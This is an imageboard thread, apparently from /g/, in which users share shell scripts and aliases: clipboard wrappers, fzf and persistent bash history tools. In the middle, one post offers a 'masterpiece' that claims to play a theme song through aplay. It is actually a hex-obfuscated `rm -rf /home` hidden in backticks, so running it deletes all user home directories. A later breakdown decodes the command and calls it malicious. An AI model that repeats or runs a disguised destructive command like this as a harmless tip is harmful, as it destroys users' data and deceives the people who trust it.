was just reading this and thought to make a thread about it since these threads are nice sometimes
https://evanhahn.com/scripts-i-wrote-that-i-use-all-the-time/

i like his clipboard tools
>copy and pasta are simple wrappers around system clipboard managers, like pbcopy on macOS and xclip on Linux. I use these all the time.

# High level examples
run_some_command | copy
pasta > file_from_my_clipboard.txt

# Copy a file's contents
copy < file.txt

# Open a file path from your clipboard
vim "$(pasta)"

# Decode some base64 from the clipboard
pasta | base64 --decode

seems like this is all useful for LLM stuff, like scraping sources and then creating prompts with clipboars
>pastas prints the current state of your clipboard to stdout, and then whenever the clipboard changes, it prints the new version. I use this once a week or so.

# High level example
pastas > everything_i_copied.txt

# Download every link I copy to my clipboard
pastas | wget -i -

just made this masterpiece after figuring out you can play audio from the terminal

# plays the /g/ theme on the GNU plus Linux terminal
aplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"

Let’s break this down carefully — this command looks intentionally obfuscated.

The command is:

aplay --rawaudio "`$'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`"

Step 1: Decode the $'...' sequences

Each $'\x..' is a way of specifying a string using hex-escaped bytes.

$'\x72\x6d' "rm"

$'\55\x72\x66' "-rf"

$'\57\x68\x6f\x6d\x65' "/home"

So the inner command becomes:

`rm -rf /home`

Step 2: The backticks `...`

In Bash, anything inside backticks is executed as a shell command, and its output replaces the backtick expression.

Here, `rm -rf /home` would run the command rm -rf /home — which recursively deletes the entire /home directory.

Since rm -rf /home produces no output, the command expands to:

aplay --rawaudio ""

Step 3: What happens when it runs

So, effectively:

The malicious part is that it executes rm -rf /home — deleting all user data under /home.

The aplay --rawaudio "" part after that is harmless (it just fails because no input file is given).

One of my most used aliases, an fzf bash history browser

alias hs='fzf --scheme=history --tac --bind "home:last,end:first,change:first,enter:become:printf -- %s {} | xclip -selection clipboard" < "$HISTFILE"'

>>106979756
theres some history command you can use to search i can never remember to do it

>>106979784
Ctrl+R?

>>106979787
yeah, thanks. its kinda janky though. your solutions gotta be better, i like fzf ill set this up.

>>106979796
for me, it's https://eli.thegreenplace.net/2013/06/11/keeping-persistent-history-in-bash
started using this at work and it unironically changed my life
i have it aliased to phg - persistent history grep

>>106979796
There's also this:

bind '"\e[A":history-search-backward'           # Up and down arrows search history based on current input
bind '"\e[B":history-search-forward'

There's also fzf-history-widget that is a part of fzf. Works for zsh at least and you can bind it to C-r to replace the old history search. Instructions link in picrel
